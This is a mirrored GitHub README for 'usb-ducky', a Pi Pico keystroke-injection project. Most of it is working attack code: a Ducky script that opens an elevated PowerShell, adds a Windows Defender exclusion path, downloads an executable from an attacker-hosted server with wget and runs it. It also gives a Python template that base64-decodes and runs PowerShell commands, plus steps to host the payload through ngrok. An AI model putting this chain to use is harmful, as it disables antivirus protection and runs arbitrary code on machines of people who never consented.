GithubHelp home page GithubHelp logo

un9nplayer / usb-ducky Goto Github PK

View Code? Open in Web Editor NEW
1.0 2.0 0.0 15.06 MB

A USB Rubber Ducky is a device that looks like an ordinary USB flash drive, but is actually a small computer that can very quickly execute a pre-programmed series of commands on a computer. It is usually used to execute many commands on a computer in a short time without requiring user interaction.

Python 100.00%

usb-ducky's Introduction

USB Ducky

Description

A USB Rubber Ducky is a device that looks like an ordinary USB flash drive but is actually a small computer that can very quickly execute a pre-programmed series of commands on a computer. It is usually used to execute many commands on a computer in a short time without requiring user interaction.

You better use it at your own risk and I'm not responsible for any damage bla bla bla...

First clone the repro.

git clone https://github.com/un9nplayer/USB-Ducky.git
cd USB-Ducky

I hope you guys using this device called pi pico: https://amzn.in/d/jh3Ejsa

img

Setup your USB here check the video: Network Chuck

Main guide

You can create your own payloads by changing the Window.py file here: Inject your base64 data "Write-Host 'Hello, Im @Un9nplayer!!!' -ForegroundColor Red; pause"

import subprocess
import base64

u_c = "V3JpdGUtSG9zdCAnSGVsbG8sIEltIEBVbjlucGxheWVyISEhJyAtRm9yZWdyb3VuZENvbG9yIFJlZDsgcGF1c2U="
de_c = base64.b64decode(u_c).decode('utf-8')

subprocess.call(["powershell", "-Command", de_c])

Convert the Window.py to Window.exe:

pip install pyinstaller
pyinstaller --onefile Window.py

Find the dist dir with Window.exe.

Check Payload.dd file changes the {your-hosted-web-server} where you host the "Window.exe" file.

GUI r
DELAY 1000
STRING powershell 
ENTER
DELAY 1000
STRING Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"& {Add-MpPreference -ExclusionPath 'C:\win'; Start-Sleep -Seconds 0;}`"" -Verb RunAs
ENTER
DELAY 1000
ALT y
DELAY 1500
STRING cd / ; mkdir win ; cd win ; echo (wget 'https://{your-hosted-web-server}/Window.exe' -OutFile Window.exe) > b.ps1 ; powershell -ExecutionPolicy ByPass -File b.ps1
ENTER
DELAY 5000
STRING Start-Process -FilePath ".\Window.exe"
ENTER

Now host the Window.exe

ngrok http --domain=longhorn-discrete-flamingo.ngrok-free.app 80

On new teb

Python3 -m http.server 80 

Final URL: https://longhorn-discrete-flamingo.ngrok-free.app/Window.exe

Here check the Video:

Watch the video

usb-ducky's People

Contributors

un9nplayer avatar

Stargazers

 avatar

Watchers

Kostas Georgiou avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.